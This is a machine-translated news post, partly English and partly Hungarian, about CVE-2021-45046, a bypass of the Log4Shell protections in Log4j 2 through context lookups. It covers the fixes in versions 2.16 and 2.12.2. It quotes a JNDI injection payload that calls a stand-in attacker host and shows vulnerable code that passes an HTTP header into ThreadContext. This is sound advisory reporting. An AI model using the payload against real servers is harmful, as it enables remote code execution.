{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"\u00daj t\u00e1mad\u00e1si vari\u00e1ns a Log4j 2-n, amely lehet\u0151v\u00e9 teszi a hozz\u00e1adott v\u00e9delem megker\u00fcl\u00e9s\u00e9t","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
A JNDI substitution vulnerability has been identified in the Log4j 2 library (CVE-2021-45046), which appears despite the fixes added in release 2.15, and regardless of using the 'log4j2.noFormatMsgLookup' setting for protection. This issue poses a threat mainly to older versions of Log4j 2 that were protected using the 'noFormatMsgLookup' flag, as it allows circumvention of the protection against the past vulnerability (Log4Shell, CVE-2021-44228), enabling the execution of arbitrary code on the server. For users of version 2.15, exploitation is limited to creating conditions for application crashes due to resource exhaustion. <\/p>\n
The vulnerability only manifests on systems where context lookups (Context Lookup) are used for logging, such as ${ctx:loginId}, or MDC patterns (Thread Context Map), like %X, %mdc, and %MDC. Exploitation involves creating conditions to log data that contains JNDI substitutions, when the application uses context lookups or MDC patterns that define formatting rules for log output. <\/p>\n
Researchers from LunaSec noted that for Log4j versions lower than 2.15, this vulnerability can be exploited as a new attack vector for Log4Shell, leading to code execution if ThreadContext expressions containing external data are used in logging, regardless of whether the 'noMsgFormatLookups' flag or the pattern '%m{nolookups}' is enabled for protection.
<\/center> <\/p>\n
The circumvention mechanism involves substituting the JNDI expression '${jndi:ldap:\/\/attacker.com\/a}' through an intermediary variable used in logging output formatting rules. For example, if the logging output uses the context variable ${ctx:apiversion}, the attack can be executed by substituting the data '${jndi:ldap:\/\/attacker.com\/a}' into the value assigned to the variable apiversion. Example of vulnerable code: appender.console.layout.pattern = ${ctx:apiversion} \u2014 %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L \u2014 %m%n @GetMapping( '\/' ) public String index(@RequestHeader( 'X-Api-Version' ) String apiVersion) { \/\/ The value of the HTTP header 'X-Api-Version' is passed to ThreadContext ThreadContext.put('apiversion', apiVersion); \/\/ When logging, the external value apiversion will be processed using substitution ${ctx:apiversion} logger.info('Received a request for API version'); return 'Hello, world!'; } <\/p>\n
A Log4j 2.15 verzi\u00f3ban a sebezhet\u0151s\u00e9g a ThreadContext-be val\u00f3 olyan \u00e9rt\u00e9kek \u00e1tad\u00e1s\u00e1val haszn\u00e1lhat\u00f3 a DoS-t\u00e1mad\u00e1sok v\u00e9grehajt\u00e1s\u00e1ra, amelyek a kimeneti form\u00e1z\u00e1si sablon feldolgoz\u00e1s\u00e1nak v\u00e9gtelen cic\u00e1z\u00e1s\u00e1hoz vezetnek.
<\/center> <\/p>\n
A biztons\u00e1gi r\u00e9s blokkol\u00e1s\u00e1hoz megjelent a 2.16 \u00e9s a 2.12.2 friss\u00edt\u00e9s. A Log4j 2.16 \u00e1gon, a 2.15-\u00f6s verzi\u00f3ban v\u00e9grehajtott jav\u00edt\u00e1sok mellett a JNDI LDAP k\u00e9r\u00e9sek alap\u00e9rtelmez\u00e9s szerint teljesen le vannak tiltva, \u00e9s elt\u00e1vol\u00edtott\u00e1k az \u00fczenet-helyettes\u00edt\u00e9si sablonok t\u00e1mogat\u00e1s\u00e1t is. A v\u00e9delmi megold\u00e1sk\u00e9nt javasolt a JndiLookup oszt\u00e1ly elt\u00e1vol\u00edt\u00e1sa a classpath-b\u00f3l (p\u00e9ld\u00e1ul: 'zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class'). <\/p>\n
A jav\u00edt\u00e1sokat a csomagokban nyomon k\u00f6vethetj\u00fck a disztrib\u00faci\u00f3k (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) \u00e9s a Java platformokat gy\u00e1rt\u00f3 c\u00e9gek (GitHub, Docker, Oracle, vmWare, Broadcom \u00e9s Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure stb.) oldalain. \n Forr\u00e1s: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"\u00daj](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"\u00daj](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n